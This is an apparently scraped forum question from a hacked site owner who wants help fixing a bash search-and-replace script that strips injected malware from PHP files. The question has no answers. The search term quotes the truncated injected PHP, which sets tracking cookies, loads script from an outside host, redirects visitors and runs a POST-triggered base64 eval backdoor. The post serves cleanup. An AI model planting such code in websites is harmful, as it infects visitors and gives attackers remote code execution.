need help with bash script?
seabro Asked: need help with bash script?
Hi, I have had my website hacked and malicious code has been placed in many .php files.I have found a script on the web which doesn't work due to the special characters in the search query.Can you help me get the script working?
(I have not been allowed to input the entire search string as it thinks it is an URL so I have just included one line).
# ****************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory – else this script will modify itself!
# **************************************** ***************************************
!/bin/bash
# **************** Change Variables Here ************
startdirectory="/path/to/public_html/"
searchterm="global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."= } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."= } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUES $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64 }"
replaceterm=""
# ****************************************
echo "***************************************
echo "* Search and Replace in Files Version .1 *"
echo "***************************************
for file in $(grep -l -R $searchterm $startdirectory)
do
sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
mv /tmp/tempfile.tmp $file
echo "Modified: " $file
done
echo " *** Yay! All Done! *** "
Answers:
Be The First To Answer This Question…
Got a better answer? Share it below!
Buzz Terms:
- turnitupnow net hack
Click Here World-class training methods teaches hundreds of marathoners an easier, faster and safer way to run!
Leave a comment
Follow Us On Twitter
- Garmin305Guy: How To Install Garmin Maps on Basecamp or SD Card http://t.co/DVQUqEp2R2 #Running #GPS WatchGarmin305Guy: How To Install Garmin Maps on Basecamp or SD Card http://t.co/DVQUqEp2R2 #Running #GPS Watch […]
- Garmin305Guy: How To Install Garmin Maps on Basecamp or SD Card http://t.co/tETdsZfKVw #Running #GPS WatchGarmin305Guy: How To Install Garmin Maps on Basecamp or SD Card http://t.co/tETdsZfKVw #Running #GPS Watch […]
- Garmin305Guy: rien de meilleur qu'un peu de jogging pour bien commencer la journe http://t.co/qaCbQfRngT #Running #GPS WatchGarmin305Guy: rien de meilleur qu'un peu de jogging pour bien commencer la journe http://t.co/qaCbQfRngT #Running #GPS Watch […]
- Garmin305Guy: rien de meilleur qu'un peu de jogging pour bien commencer la journe http://t.co/ebnq5oQZSA #Running #GPS WatchGarmin305Guy: rien de meilleur qu'un peu de jogging pour bien commencer la journe http://t.co/ebnq5oQZSA #Running #GPS Watch […]
- Garmin305Guy: How To Install Garmin Maps on Basecamp or SD Card http://t.co/Kx2446laCp #Running #GPS WatchGarmin305Guy: How To Install Garmin Maps on Basecamp or SD Card http://t.co/Kx2446laCp #Running #GPS Watch […]
- Garmin305Guy: Cycling GPS with New Technology http://t.co/wUAG4KhnMl #Running #GPS WatchGarmin305Guy: Cycling GPS with New Technology http://t.co/wUAG4KhnMl #Running #GPS Watch […]
- Garmin305Guy: Cycling GPS with New Technology http://t.co/x0xNfCZbaP #Running #GPS WatchGarmin305Guy: Cycling GPS with New Technology http://t.co/x0xNfCZbaP #Running #GPS Watch […]
- Garmin305Guy: 30e Pajotjogging Lennik ingekort wegens gure weersomstandigheden http://t.co/gWClKp7Wrt #Running #GPS WatchGarmin305Guy: 30e Pajotjogging Lennik ingekort wegens gure weersomstandigheden http://t.co/gWClKp7Wrt #Running #GPS Watch […]
- Garmin305Guy: 30e Pajotjogging Lennik ingekort wegens gure weersomstandigheden http://t.co/ujmYkmz87H #Running #GPS WatchGarmin305Guy: 30e Pajotjogging Lennik ingekort wegens gure weersomstandigheden http://t.co/ujmYkmz87H #Running #GPS Watch […]
- Garmin305Guy: Achim Achilles lernt die GPS-Uhr - Folge 3 http://t.co/uAqPonQyei #Running #GPS WatchGarmin305Guy: Achim Achilles lernt die GPS-Uhr - Folge 3 http://t.co/uAqPonQyei #Running #GPS Watch […]
Follow Us On Facebook
Random Search Terms
- There is freedom come and see hear the call come to me lyrics
- What unit would you use if you were measuring the average kinetic energy of a substance? Joules
- small white dots in dogs stool
- puma walk jog run sprint bolt
- turnitupnow net hack
- By increasing your pace ((intensity)) you made your heart beat faster and work harder This is called overload Increasing the number of days you jog from two days to three days is another way of overloading your body A third way to overload is to increase
- does semtex affect contraceptive pill
- garminforerunnerz com
- 1981 305 csr idle adjustment
- polar RCX5 vs RC3 GPS


